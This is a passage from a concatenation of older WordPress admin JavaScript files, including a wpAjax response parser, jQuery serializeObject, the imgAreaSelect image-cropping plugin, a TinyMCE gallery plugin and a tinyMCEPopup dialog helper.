destructive_suffix: 'destructive', hotkeys_opts: {disableInInput: true, type: 'keypress'},
checkbox_expr: ':checkbox', next_key: 'j', prev_key: 'k', mark_key: 'x',
start_row_index: 2, highlight_first: false, highlight_last: false, next_page_link_cb: false, prev_page_link_cb: false};
})(jQuery);
| JavaScript |
/*!
* jQuery serializeObject - v0.2 - 1/20/2010
* http://benalman.com/projects/jquery-misc-plugins/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
// Whereas .serializeArray() serializes a form into an array, .serializeObject()
// serializes a form into an (arguably more useful) object.
(function($,undefined){
'$:nomunge'; // Used by YUI compressor.
$.fn.serializeObject = function(){
var obj = {};
$.each( this.serializeArray(), function(i,o){
var n = o.name,
v = o.value;
obj[n] = obj[n] === undefined ? v
: $.isArray( obj[n] ) ? obj[n].concat( v )
: [ obj[n], v ];
});
return obj;
};
})(jQuery);
| JavaScript |
var wpAjax = jQuery.extend( {
unserialize: function( s ) {
var r = {}, q, pp, i, p;
if ( !s ) { return r; }
q = s.split('?'); if ( q[1] ) { s = q[1]; }
pp = s.split('&');
for ( i in pp ) {
if ( jQuery.isFunction(pp.hasOwnProperty) && !pp.hasOwnProperty(i) ) { continue; }
p = pp[i].split('=');
r[p[0]] = p[1];
}
return r;
},
parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
var parsed = {}, re = jQuery('#' + r).html(''), err = '';
if ( x && typeof x == 'object' && x.getElementsByTagName('wp_ajax') ) {
parsed.responses = [];
parsed.errors = false;
jQuery('response', x).each( function() {
var th = jQuery(this), child = jQuery(this.firstChild), response;
response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') };
response.data = jQuery( 'response_data', child ).text();
response.supplemental = {};
if ( !jQuery( 'supplemental', child ).children().each( function() {
response.supplemental[this.nodeName] = jQuery(this).text();
} ).size() ) { response.supplemental = false }
response.errors = [];
if ( !jQuery('wp_error', child).each( function() {
var code = jQuery(this).attr('code'), anError, errorData, formField;
anError = { code: code, message: this.firstChild.nodeValue, data: false };
errorData = jQuery('wp_error_data[code="' + code + '"]', x);
if ( errorData ) { anError.data = errorData.get(); }
formField = jQuery( 'form-field', errorData ).text();
if ( formField ) { code = formField; }
if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); }
err += '<p>' + anError.message + '</p>';
response.errors.push( anError );
parsed.errors = true;
} ).size() ) { response.errors = false; }
parsed.responses.push( response );
} );
if ( err.length ) { re.html( '<div class="error">' + err + '</div>' ); }
return parsed;
}
if ( isNaN(x) ) { return !re.html('<div class="error"><p>' + x + '</p></div>'); }
x = parseInt(x,10);
if ( -1 == x ) { return !re.html('<div class="error"><p>' + wpAjax.noPerm + '</p></div>'); }
else if ( 0 === x ) { return !re.html('<div class="error"><p>' + wpAjax.broken + '</p></div>'); }
return true;
},
invalidateForm: function ( selector ) {
return jQuery( selector ).addClass( 'form-invalid' ).find('input:visible').change( function() { jQuery(this).closest('.form-invalid').removeClass( 'form-invalid' ); } );
},
validateForm: function( selector ) {
selector = jQuery( selector );
return !wpAjax.invalidateForm( selector.find('.form-required').filter( function() { return jQuery('input:visible', this).val() == ''; } ) ).size();
}
}, wpAjax || { noPerm: 'You do not have permission to do that.', broken: 'An unidentified error has occurred.' } );
// Basic form validation
jQuery(document).ready( function($){
$('form.validate').submit( function() { return wpAjax.validateForm( $(this) ); } );
});
| JavaScript |
(function(w) {
var init = function() {
var pr = document.getElementById('post-revisions'),
inputs = pr ? pr.getElementsByTagName('input') : [];
pr.onclick = function() {
var i, checkCount = 0, side;
for ( i = 0; i < inputs.length; i++ ) {
checkCount += inputs[i].checked ? 1 : 0;
side = inputs[i].getAttribute('name');
if ( ! inputs[i].checked &&
( 'left' == side && 1 > checkCount || 'right' == side && 1 < checkCount && ( ! inputs[i-1] || ! inputs[i-1].checked ) ) &&
! ( inputs[i+1] && inputs[i+1].checked && 'right' == inputs[i+1].getAttribute('name') ) )
inputs[i].style.visibility = 'hidden';
else if ( 'left' == side || 'right' == side )
inputs[i].style.visibility = 'visible';
}
}
pr.onclick();
}
if ( w && w.addEventListener )
w.addEventListener('load', init, false);
else if ( w && w.attachEvent )
w.attachEvent('onload', init);
})(window);
| JavaScript |
/*
* imgAreaSelect jQuery plugin
* version 0.9.6
*
* Copyright (c) 2008-2011 Michal Wojciechowski (odyniec.net)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://odyniec.net/projects/imgareaselect/
*
*/
(function($) {
var abs = Math.abs,
max = Math.max,
min = Math.min,
round = Math.round;
function div() {
return $('<div/>');
}
$.imgAreaSelect = function (img, options) {
var
$img = $(img),
imgLoaded,
$box = div(),
$area = div(),
$border = div().add(div()).add(div()).add(div()),
$outer = div().add(div()).add(div()).add(div()),
$handles = $([]),
$areaOpera,
left, top,
imgOfs = { left: 0, top: 0 },
imgWidth, imgHeight,
$parent,
parOfs = { left: 0, top: 0 },
zIndex = 0,
position = 'absolute',
startX, startY,
scaleX, scaleY,
resizeMargin = 10,
resize,
minWidth, minHeight, maxWidth, maxHeight,
aspectRatio,
shown,
x1, y1, x2, y2,
selection = { x1: 0, y1: 0, x2: 0, y2: 0, width: 0, height: 0 },
docElem = document.documentElement,
$p, d, i, o, w, h, adjusted;
function viewX(x) {
return x + imgOfs.left - parOfs.left;
}
function viewY(y) {
return y + imgOfs.top - parOfs.top;
}
function selX(x) {
return x - imgOfs.left + parOfs.left;
}
function selY(y) {
return y - imgOfs.top + parOfs.top;
}
function evX(event) {
return event.pageX - parOfs.left;
}
function evY(event) {
return event.pageY - parOfs.top;
}
function getSelection(noScale) {
var sx = noScale || scaleX, sy = noScale || scaleY;
return { x1: round(selection.x1 * sx),
y1: round(selection.y1 * sy),
x2: round(selection.x2 * sx),
y2: round(selection.y2 * sy),
width: round(selection.x2 * sx) - round(selection.x1 * sx),
height: round(selection.y2 * sy) - round(selection.y1 * sy) };
}
function setSelection(x1, y1, x2, y2, noScale) {
var sx = noScale || scaleX, sy = noScale || scaleY;
selection = {
x1: round(x1 / sx || 0),
y1: round(y1 / sy || 0),
x2: round(x2 / sx || 0),
y2: round(y2 / sy || 0)
};
selection.width = selection.x2 - selection.x1;
selection.height = selection.y2 - selection.y1;
}
function adjust() {
if (!$img.width())
return;
imgOfs = { left: round($img.offset().left), top: round($img.offset().top) };
imgWidth = $img.innerWidth();
imgHeight = $img.innerHeight();
imgOfs.top += ($img.outerHeight() - imgHeight) >> 1;
imgOfs.left += ($img.outerWidth() - imgWidth) >> 1;
minWidth = options.minWidth || 0;
minHeight = options.minHeight || 0;
maxWidth = min(options.maxWidth || 1<<24, imgWidth);
maxHeight = min(options.maxHeight || 1<<24, imgHeight);
if ($().jquery == '1.3.2' && position == 'fixed' &&
!docElem['getBoundingClientRect'])
{
imgOfs.top += max(document.body.scrollTop, docElem.scrollTop);
imgOfs.left += max(document.body.scrollLeft, docElem.scrollLeft);
}
parOfs = $.inArray($parent.css('position'), ['absolute', 'relative']) + 1 ?
{ left: round($parent.offset().left) - $parent.scrollLeft(),
top: round($parent.offset().top) - $parent.scrollTop() } :
position == 'fixed' ?
{ left: $(document).scrollLeft(), top: $(document).scrollTop() } :
{ left: 0, top: 0 };
left = viewX(0);
top = viewY(0);
if (selection.x2 > imgWidth || selection.y2 > imgHeight)
doResize();
}
function update(resetKeyPress) {
if (!shown) return;
$box.css({ left: viewX(selection.x1), top: viewY(selection.y1) })
.add($area).width(w = selection.width).height(h = selection.height);
$area.add($border).add($handles).css({ left: 0, top: 0 });
$border
.width(max(w - $border.outerWidth() + $border.innerWidth(), 0))
.height(max(h - $border.outerHeight() + $border.innerHeight(), 0));
$($outer[0]).css({ left: left, top: top,
width: selection.x1, height: imgHeight });
$($outer[1]).css({ left: left + selection.x1, top: top,
width: w, height: selection.y1 });
$($outer[2]).css({ left: left + selection.x2, top: top,
width: imgWidth - selection.x2, height: imgHeight });
$($outer[3]).css({ left: left + selection.x1, top: top + selection.y2,
width: w, height: imgHeight - selection.y2 });
w -= $handles.outerWidth();
h -= $handles.outerHeight();
switch ($handles.length) {
case 8:
$($handles[4]).css({ left: w >> 1 });
$($handles[5]).css({ left: w, top: h >> 1 });
$($handles[6]).css({ left: w >> 1, top: h });
$($handles[7]).css({ top: h >> 1 });
case 4:
$handles.slice(1,3).css({ left: w });
$handles.slice(2,4).css({ top: h });
}
if (resetKeyPress !== false) {
if ($.imgAreaSelect.keyPress != docKeyPress)
$(document).unbind($.imgAreaSelect.keyPress,
$.imgAreaSelect.onKeyPress);
if (options.keys)
$(document)[$.imgAreaSelect.keyPress](
$.imgAreaSelect.onKeyPress = docKeyPress);
}
if ($.browser.msie && $border.outerWidth() - $border.innerWidth() == 2) {
$border.css('margin', 0);
setTimeout(function () { $border.css('margin', 'auto'); }, 0);
}
}
function doUpdate(resetKeyPress) {
adjust();
update(resetKeyPress);
x1 = viewX(selection.x1); y1 = viewY(selection.y1);
x2 = viewX(selection.x2); y2 = viewY(selection.y2);
}
function hide($elem, fn) {
options.fadeSpeed ? $elem.fadeOut(options.fadeSpeed, fn) : $elem.hide();
}
function areaMouseMove(event) {
var x = selX(evX(event)) - selection.x1,
y = selY(evY(event)) - selection.y1;
if (!adjusted) {
adjust();
adjusted = true;
$box.one('mouseout', function () { adjusted = false; });
}
resize = '';
if (options.resizable) {
if (y <= options.resizeMargin)
resize = 'n';
else if (y >= selection.height - options.resizeMargin)
resize = 's';
if (x <= options.resizeMargin)
resize += 'w';
else if (x >= selection.width - options.resizeMargin)
resize += 'e';
}
$box.css('cursor', resize ? resize + '-resize' :
options.movable ? 'move' : '');
if ($areaOpera)
$areaOpera.toggle();
}
function docMouseUp(event) {
$('body').css('cursor', '');
if (options.autoHide || selection.width * selection.height == 0)
hide($box.add($outer), function () { $(this).hide(); });
$(document).unbind('mousemove', selectingMouseMove);
$box.mousemove(areaMouseMove);
options.onSelectEnd(img, getSelection());
}
function areaMouseDown(event) {
if (event.which != 1) return false;
adjust();
if (resize) {
$('body').css('cursor', resize + '-resize');
x1 = viewX(selection[/w/.test(resize) ? 'x2' : 'x1']);
y1 = viewY(selection[/n/.test(resize) ? 'y2' : 'y1']);
$(document).mousemove(selectingMouseMove)
.one('mouseup', docMouseUp);
$box.unbind('mousemove', areaMouseMove);
}
else if (options.movable) {
startX = left + selection.x1 - evX(event);
startY = top + selection.y1 - evY(event);
$box.unbind('mousemove', areaMouseMove);
$(document).mousemove(movingMouseMove)
.one('mouseup', function () {
options.onSelectEnd(img, getSelection());
$(document).unbind('mousemove', movingMouseMove);
$box.mousemove(areaMouseMove);
});
}
else
$img.mousedown(event);
return false;
}
function fixAspectRatio(xFirst) {
if (aspectRatio)
if (xFirst) {
x2 = max(left, min(left + imgWidth,
x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1)));
y2 = round(max(top, min(top + imgHeight,
y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1))));
x2 = round(x2);
}
else {
y2 = max(top, min(top + imgHeight,
y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1)));
x2 = round(max(left, min(left + imgWidth,
x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1))));
y2 = round(y2);
}
}
function doResize() {
x1 = min(x1, left + imgWidth);
y1 = min(y1, top + imgHeight);
if (abs(x2 - x1) < minWidth) {
x2 = x1 - minWidth * (x2 < x1 || -1);
if (x2 < left)
x1 = left + minWidth;
else if (x2 > left + imgWidth)
x1 = left + imgWidth - minWidth;
}
if (abs(y2 - y1) < minHeight) {
y2 = y1 - minHeight * (y2 < y1 || -1);
if (y2 < top)
y1 = top + minHeight;
else if (y2 > top + imgHeight)
y1 = top + imgHeight - minHeight;
}
x2 = max(left, min(x2, left + imgWidth));
y2 = max(top, min(y2, top + imgHeight));
fixAspectRatio(abs(x2 - x1) < abs(y2 - y1) * aspectRatio);
if (abs(x2 - x1) > maxWidth) {
x2 = x1 - maxWidth * (x2 < x1 || -1);
fixAspectRatio();
}
if (abs(y2 - y1) > maxHeight) {
y2 = y1 - maxHeight * (y2 < y1 || -1);
fixAspectRatio(true);
}
selection = { x1: selX(min(x1, x2)), x2: selX(max(x1, x2)),
y1: selY(min(y1, y2)), y2: selY(max(y1, y2)),
width: abs(x2 - x1), height: abs(y2 - y1) };
update();
options.onSelectChange(img, getSelection());
}
function selectingMouseMove(event) {
x2 = resize == '' || /w|e/.test(resize) || aspectRatio ? evX(event) : viewX(selection.x2);
y2 = resize == '' || /n|s/.test(resize) || aspectRatio ? evY(event) : viewY(selection.y2);
doResize();
return false;
}
function doMove(newX1, newY1) {
x2 = (x1 = newX1) + selection.width;
y2 = (y1 = newY1) + selection.height;
$.extend(selection, { x1: selX(x1), y1: selY(y1), x2: selX(x2),
y2: selY(y2) });
update();
options.onSelectChange(img, getSelection());
}
function movingMouseMove(event) {
x1 = max(left, min(startX + evX(event), left + imgWidth - selection.width));
y1 = max(top, min(startY + evY(event), top + imgHeight - selection.height));
doMove(x1, y1);
event.preventDefault();
return false;
}
function startSelection() {
$(document).unbind('mousemove', startSelection);
adjust();
x2 = x1;
y2 = y1;
doResize();
resize = '';
if ($outer.is(':not(:visible)'))
$box.add($outer).hide().fadeIn(options.fadeSpeed||0);
shown = true;
$(document).unbind('mouseup', cancelSelection)
.mousemove(selectingMouseMove).one('mouseup', docMouseUp);
$box.unbind('mousemove', areaMouseMove);
options.onSelectStart(img, getSelection());
}
function cancelSelection() {
$(document).unbind('mousemove', startSelection)
.unbind('mouseup', cancelSelection);
hide($box.add($outer));
setSelection(selX(x1), selY(y1), selX(x1), selY(y1));
options.onSelectChange(img, getSelection());
options.onSelectEnd(img, getSelection());
}
function imgMouseDown(event) {
if (event.which != 1 || $outer.is(':animated')) return false;
adjust();
startX = x1 = evX(event);
startY = y1 = evY(event);
$(document).mousemove(startSelection).mouseup(cancelSelection);
return false;
}
function windowResize() {
doUpdate(false);
}
function imgLoad() {
imgLoaded = true;
setOptions(options = $.extend({
classPrefix: 'imgareaselect',
movable: true,
parent: 'body',
resizable: true,
resizeMargin: 10,
onInit: function () {},
onSelectStart: function () {},
onSelectChange: function () {},
onSelectEnd: function () {}
}, options));
$box.add($outer).css({ visibility: '' });
if (options.show) {
shown = true;
adjust();
update();
$box.add($outer).hide().fadeIn(options.fadeSpeed||0);
}
setTimeout(function () { options.onInit(img, getSelection()); }, 0);
}
var docKeyPress = function(event) {
var k = options.keys, d, t, key = event.keyCode;
d = !isNaN(k.alt) && (event.altKey || event.originalEvent.altKey) ? k.alt :
!isNaN(k.ctrl) && event.ctrlKey ? k.ctrl :
!isNaN(k.shift) && event.shiftKey ? k.shift :
!isNaN(k.arrows) ? k.arrows : 10;
if (k.arrows == 'resize' || (k.shift == 'resize' && event.shiftKey) ||
(k.ctrl == 'resize' && event.ctrlKey) ||
(k.alt == 'resize' && (event.altKey || event.originalEvent.altKey)))
{
switch (key) {
case 37:
d = -d;
case 39:
t = max(x1, x2);
x1 = min(x1, x2);
x2 = max(t + d, x1);
fixAspectRatio();
break;
case 38:
d = -d;
case 40:
t = max(y1, y2);
y1 = min(y1, y2);
y2 = max(t + d, y1);
fixAspectRatio(true);
break;
default:
return;
}
doResize();
}
else {
x1 = min(x1, x2);
y1 = min(y1, y2);
switch (key) {
case 37:
doMove(max(x1 - d, left), y1);
break;
case 38:
doMove(x1, max(y1 - d, top));
break;
case 39:
doMove(x1 + min(d, imgWidth - selX(x2)), y1);
break;
case 40:
doMove(x1, y1 + min(d, imgHeight - selY(y2)));
break;
default:
return;
}
}
return false;
};
function styleOptions($elem, props) {
for (option in props)
if (options[option] !== undefined)
$elem.css(props[option], options[option]);
}
function setOptions(newOptions) {
if (newOptions.parent)
($parent = $(newOptions.parent)).append($box.add($outer));
$.extend(options, newOptions);
adjust();
if (newOptions.handles != null) {
$handles.remove();
$handles = $([]);
i = newOptions.handles ? newOptions.handles == 'corners' ? 4 : 8 : 0;
while (i--)
$handles = $handles.add(div());
$handles.addClass(options.classPrefix + '-handle').css({
position: 'absolute',
fontSize: 0,
zIndex: zIndex + 1 || 1
});
if (!parseInt($handles.css('width')) >= 0)
$handles.width(5).height(5);
if (o = options.borderWidth)
$handles.css({ borderWidth: o, borderStyle: 'solid' });
styleOptions($handles, { borderColor1: 'border-color',
borderColor2: 'background-color',
borderOpacity: 'opacity' });
}
scaleX = options.imageWidth / imgWidth || 1;
scaleY = options.imageHeight / imgHeight || 1;
if (newOptions.x1 != null) {
setSelection(newOptions.x1, newOptions.y1, newOptions.x2,
newOptions.y2);
newOptions.show = !newOptions.hide;
}
if (newOptions.keys)
options.keys = $.extend({ shift: 1, ctrl: 'resize' },
newOptions.keys);
$outer.addClass(options.classPrefix + '-outer');
$area.addClass(options.classPrefix + '-selection');
for (i = 0; i++ < 4;)
$($border[i-1]).addClass(options.classPrefix + '-border' + i);
styleOptions($area, { selectionColor: 'background-color',
selectionOpacity: 'opacity' });
styleOptions($border, { borderOpacity: 'opacity',
borderWidth: 'border-width' });
styleOptions($outer, { outerColor: 'background-color',
outerOpacity: 'opacity' });
if (o = options.borderColor1)
$($border[0]).css({ borderStyle: 'solid', borderColor: o });
if (o = options.borderColor2)
$($border[1]).css({ borderStyle: 'dashed', borderColor: o });
$box.append($area.add($border).add($areaOpera).add($handles));
if ($.browser.msie) {
if (o = $outer.css('filter').match(/opacity=([0-9]+)/))
$outer.css('opacity', o[1]/100);
if (o = $border.css('filter').match(/opacity=([0-9]+)/))
$border.css('opacity', o[1]/100);
}
if (newOptions.hide)
hide($box.add($outer));
else if (newOptions.show && imgLoaded) {
shown = true;
$box.add($outer).fadeIn(options.fadeSpeed||0);
doUpdate();
}
aspectRatio = (d = (options.aspectRatio || '').split(/:/))[0] / d[1];
$img.add($outer).unbind('mousedown', imgMouseDown);
if (options.disable || options.enable === false) {
$box.unbind('mousemove', areaMouseMove).unbind('mousedown', areaMouseDown);
$(window).unbind('resize', windowResize);
}
else {
if (options.enable || options.disable === false) {
if (options.resizable || options.movable)
$box.mousemove(areaMouseMove).mousedown(areaMouseDown);
$(window).resize(windowResize);
}
if (!options.persistent)
$img.add($outer).mousedown(imgMouseDown);
}
options.enable = options.disable = undefined;
}
this.remove = function () {
setOptions({ disable: true });
$box.add($outer).remove();
};
this.getOptions = function () { return options; };
this.setOptions = setOptions;
this.getSelection = getSelection;
this.setSelection = setSelection;
this.update = doUpdate;
$p = $img;
while ($p.length) {
zIndex = max(zIndex,
!isNaN($p.css('z-index')) ? $p.css('z-index') : zIndex);
if ($p.css('position') == 'fixed')
position = 'fixed';
$p = $p.parent(':not(body)');
}
zIndex = options.zIndex || zIndex;
if ($.browser.msie)
$img.attr('unselectable', 'on');
$.imgAreaSelect.keyPress = $.browser.msie ||
$.browser.safari ? 'keydown' : 'keypress';
if ($.browser.opera)
$areaOpera = div().css({ width: '100%', height: '100%',
position: 'absolute', zIndex: zIndex + 2 || 2 });
$box.add($outer).css({ visibility: 'hidden', position: position,
overflow: 'hidden', zIndex: zIndex || '0' });
$box.css({ zIndex: zIndex + 2 || 2 });
$area.add($border).css({ position: 'absolute', fontSize: 0 });
img.complete || img.readyState == 'complete' || !$img.is('img') ?
imgLoad() : $img.one('load', imgLoad);
if ($.browser.msie && $.browser.version >= 9)
img.src = img.src;
};
$.fn.imgAreaSelect = function (options) {
options = options || {};
this.each(function () {
if ($(this).data('imgAreaSelect')) {
if (options.remove) {
$(this).data('imgAreaSelect').remove();
$(this).removeData('imgAreaSelect');
}
else
$(this).data('imgAreaSelect').setOptions(options);
}
else if (!options.remove) {
if (options.enable === undefined && options.disable === undefined)
options.enable = true;
$(this).data('imgAreaSelect', new $.imgAreaSelect(this, options));
}
});
if (options.instance)
return $(this).data('imgAreaSelect');
return this;
};
})(jQuery);
| JavaScript |
(function() {
tinymce.create('tinymce.plugins.wpGallery', {
init : function(ed, url) {
var t = this;
t.url = url;
t._createButtons();
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
ed.addCommand('WP_Gallery', function() {
var el = ed.selection.getNode(), post_id, vp = tinymce.DOM.getViewPort(),
H = vp.h - 80, W = ( 640 < vp.w ) ? 640 : vp.w;
if ( el.nodeName != 'IMG' ) return;
if ( ed.dom.getAttrib(el, 'class').indexOf('wpGallery') == -1 ) return;
post_id = tinymce.DOM.get('post_ID').value;
tb_show('', tinymce.documentBaseURL + '/media-upload.php?post_id='+post_id+'&tab=gallery&TB_iframe=true&width='+W+'&height='+H);
tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
});
ed.onMouseDown.add(function(ed, e) {
if ( e.target.nodeName == 'IMG' && ed.dom.hasClass(e.target, 'wpGallery') )
ed.plugins.wordpress._showButtons(e.target, 'wp_gallerybtns');
});
ed.onBeforeSetContent.add(function(ed, o) {
o.content = t._do_gallery(o.content);
});
ed.onPostProcess.add(function(ed, o) {
if (o.get)
o.content = t._get_gallery(o.content);
});
},
_do_gallery : function(co) {
return co.replace(/\[gallery([^\]]*)\]/g, function(a,b){
return '<img src="'+tinymce.baseURL+'/plugins/wpgallery/img/t.gif" class="wpGallery mceItem" title="gallery'+tinymce.DOM.encode(b)+'" />';
});
},
_get_gallery : function(co) {
function getAttr(s, n) {
n = new RegExp(n + '=\"([^\"]+)\"', 'g').exec(s);
return n ? tinymce.DOM.decode(n[1]) : '';
};
return co.replace(/(?:<p[^>]*>)*(<img[^>]+>)(?:<\/p>)*/g, function(a,im) {
var cls = getAttr(im, 'class');
if ( cls.indexOf('wpGallery') != -1 )
return '<p>['+tinymce.trim(getAttr(im, 'title'))+']</p>';
return a;
});
},
_createButtons : function() {
var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM, editButton, dellButton;
DOM.remove('wp_gallerybtns');
DOM.add(document.body, 'div', {
id : 'wp_gallerybtns',
style : 'display:none;'
});
editButton = DOM.add('wp_gallerybtns', 'img', {
src : t.url+'/img/edit.png',
id : 'wp_editgallery',
width : '24',
height : '24',
title : ed.getLang('wordpress.editgallery')
});
tinymce.dom.Event.add(editButton, 'mousedown', function(e) {
var ed = tinyMCE.activeEditor;
ed.windowManager.bookmark = ed.selection.getBookmark('simple');
ed.execCommand("WP_Gallery");
});
dellButton = DOM.add('wp_gallerybtns', 'img', {
src : t.url+'/img/delete.png',
id : 'wp_delgallery',
width : '24',
height : '24',
title : ed.getLang('wordpress.delgallery')
});
tinymce.dom.Event.add(dellButton, 'mousedown', function(e) {
var ed = tinyMCE.activeEditor, el = ed.selection.getNode();
if ( el.nodeName == 'IMG' && ed.dom.hasClass(el, 'wpGallery') ) {
ed.dom.remove(el);
ed.execCommand('mceRepaint');
return false;
}
});
},
getInfo : function() {
return {
longname : 'Gallery Settings',
author : 'WordPress',
authorurl : 'http://wordpress.org',
infourl : '',
version : "1.0"
};
}
});
tinymce.PluginManager.add('wpgallery', tinymce.plugins.wpGallery);
})();
| JavaScript |
(function($){
$.ui.dialog.prototype.options.closeOnEscape = false;
$.widget("wp.wpdialog", $.ui.dialog, {
options: {
closeOnEscape: false
},
open: function() {
var ed;
// Initialize tinyMCEPopup if it exists and is the editor is active.
if ( tinyMCEPopup && typeof tinyMCE != 'undefined' && ( ed = tinyMCE.activeEditor ) && !ed.isHidden() ) {
tinyMCEPopup.init();
}
// Add beforeOpen event.
if ( this._isOpen || false === this._trigger('beforeOpen') ) {
return;
}
// Open the dialog.
$.ui.dialog.prototype.open.apply( this, arguments );
// WebKit leaves focus in the TinyMCE editor unless we shift focus.
this.element.focus();
this._trigger('refresh');
}
});
})(jQuery);
| JavaScript |
/**
* popup.js
*
* An altered version of tinyMCEPopup to work in the same window as tinymce.
*
* ------------------------------------------------------------------
*
* Copyright 2009, Moxiecode Systems AB
* Released under LGPL License.
*
* License: http://tinymce.moxiecode.com/license
* Contributing: http://tinymce.moxiecode.com/contributing
*/
// Some global instances
/**
* TinyMCE popup/dialog helper class. This gives you easy access to the
* parent editor instance and a bunch of other things. It's higly recommended
* that you load this script into your dialogs.
*
* @static
* @class tinyMCEPopup
*/
var tinyMCEPopup = {
/**
* Initializes the popup this will be called automatically.
*
* @method init
*/
init : function() {
var t = this, w, ti;
// Find window & API
w = t.getWin();
tinymce = w.tinymce;
tinyMCE = w.tinyMCE;
t.editor = tinymce.EditorManager.activeEditor;
t.params = t.editor.windowManager.params;
t.features = t.editor.windowManager.features;
t.dom = tinymce.dom;
// Setup on init listeners
t.listeners = [];
t.onInit = {
add : function(f, s) {
t.listeners.push({func : f, scope : s});
}
};
t.isWindow = false;
t.id = t.features.id;
t.editor.windowManager.onOpen.dispatch(t.editor.windowManager, window);
},
/**
* Returns the reference to the parent window that opened the dialog.
*
* @method getWin
* @return {Window} Reference to the parent window that opened the dialog.
*/
getWin : function() {
return window;
},
/**
* Returns a window argument/parameter by name.
*
* @method getWindowArg
* @param {String} n Name of the window argument to retrieve.
* @param {String} dv Optional default value to return.
* @return {String} Argument value or default value if it wasn't found.
*/
getWindowArg : function(n, dv) {
var v = this.params[n];
return tinymce.is(v) ? v : dv;
},
/**
* Returns a editor parameter/config option value.
*
* @method getParam
* @param {String} n Name of the editor config option to retrieve.
* @param {String} dv Optional default value to return.
* @return {String} Parameter value or default value if it wasn't found.
*/
getParam : function(n, dv) {
return this.editor.getParam(n, dv);
},
/**
* Returns a language item by key.
*
* @method getLang
* @param {String} n Language item like mydialog.something.
* @param {String} dv Optional default value to return.
* @return {String} Language value for the item like "my string" or the default value if it wasn't found.
*/
getLang : function(n, dv) {
return this.editor.getLang(n, dv);
},
/**
* Executed a command on editor that opened the dialog/popup.
*
* @method execCommand
* @param {String} cmd Command to execute.
* @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not.
* @param {Object} val Optional value to pass with the comman like an URL.
* @param {Object} a Optional arguments object.
*/
execCommand : function(cmd, ui, val, a) {
a = a || {};
a.skip_focus = 1;
this.restoreSelection();
return this.editor.execCommand(cmd, ui, val, a);
},
/**
* Resizes the dialog to the inner size of the window. This is needed since various browsers
* have different border sizes on windows.
*
* @method resizeToInnerSize
*/
resizeToInnerSize : function() {
var t = this;
// Detach it to workaround a Chrome specific bug
// https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281
setTimeout(function() {
var vp = t.dom.getViewPort(window);
t.editor.windowManager.resizeBy(
t.getWindowArg('mce_width') - vp.w,
t.getWindowArg('mce_height') - vp.h,
t.id || window
);
}, 0);
},
/**
* Will executed the specified string when the page has been loaded. This function
* was added for compatibility with the 2.x branch.
*
* @method executeOnLoad
* @param {String} s String to evalutate on init.
*/
executeOnLoad : function(s) {
this.onInit.add(function() {
eval(s);
});
},
/**
* Stores the current editor selection for later restoration. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method storeSelection
*/
storeSelection : function() {
this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1);
},
/**
* Restores any stored selection. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method restoreSelection
*/
restoreSelection : function() {
var t = tinyMCEPopup;
if (!t.isWindow && tinymce.isIE)
t.editor.selection.moveToBookmark(t.editor.windowManager.bookmark);
},
/**
* Loads a specific dialog language pack. If you pass in plugin_url as a arugment
* when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file.
*
* @method requireLangPack
*/
requireLangPack : function() {
var t = this, u = t.getWindowArg('plugin_url') || t.getWindowArg('theme_url');
if (u && t.editor.settings.language && t.features.translate_i18n !== false) {
u += '/langs/' + t.editor.settings.language + '_dlg.js';
if (!tinymce.ScriptLoader.isDone(u)) {
document.write('<script type="text/javascript" src="' + tinymce._addVer(u) + '"></script>');
tinymce.ScriptLoader.markDone(u);
}
}
},
/**
* Executes a color picker on the specified element id. When the user
* then selects a color it will be set as the value of the specified element.
*
* @method pickColor
* @param {DOMEvent} e DOM event object.
* @param {string} element_id Element id to be filled with the color value from the picker.
*/
pickColor : function(e, element_id) {
this.execCommand('mceColorPicker', true, {
color : document.getElementById(element_id).value,
func : function(c) {
document.getElementById(element_id).value = c;
try {
document.getElementById(element_id).onchange();
} catch (ex) {
// Try fire event, ignore errors
}
}
});
},
/**
* Opens a filebrowser/imagebrowser this will set the output value from
* the browser as a value on the specified element.
*
* @method openBrowser
* @param {string} element_id Id of the element to set value in.
* @param {string} type Type of browser to open image/file/flash.
* @param {string} option Option name to get the file_broswer_callback function name from.
*/
openBrowser : function(element_id, type, option) {
tinyMCEPopup.restoreSelection();
this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window);
},
/**
* Creates a confirm dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method confirm
* @param {String} t Title for the new confirm dialog.
* @param {function} cb Callback function to be executed after the user has selected ok or cancel.
* @param {Object} s Optional scope to execute the callback in.
*/
confirm : function(t, cb, s) {
this.editor.windowManager.confirm(t, cb, s, window);
},
/**
* Creates a alert dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method alert
* @param {String} t Title for the new alert dialog.
* @param {function} cb Callback function to be executed after the user has selected ok.
* @param {Object} s Optional scope to execute the callback in.
*/
alert : function(tx, cb, s) {
this.editor.windowManager.alert(tx, cb, s, window);
},
/**
* Closes the current window.
*
* @method close
*/
close : function() {
var t = this;
// To avoid domain relaxing issue in Opera
function close() {
t.editor.windowManager.close(window);
t.editor = null;
};
if (tinymce.isOpera)
t.getWin().setTimeout(close, 0);
else
close();
},
// Internal functions
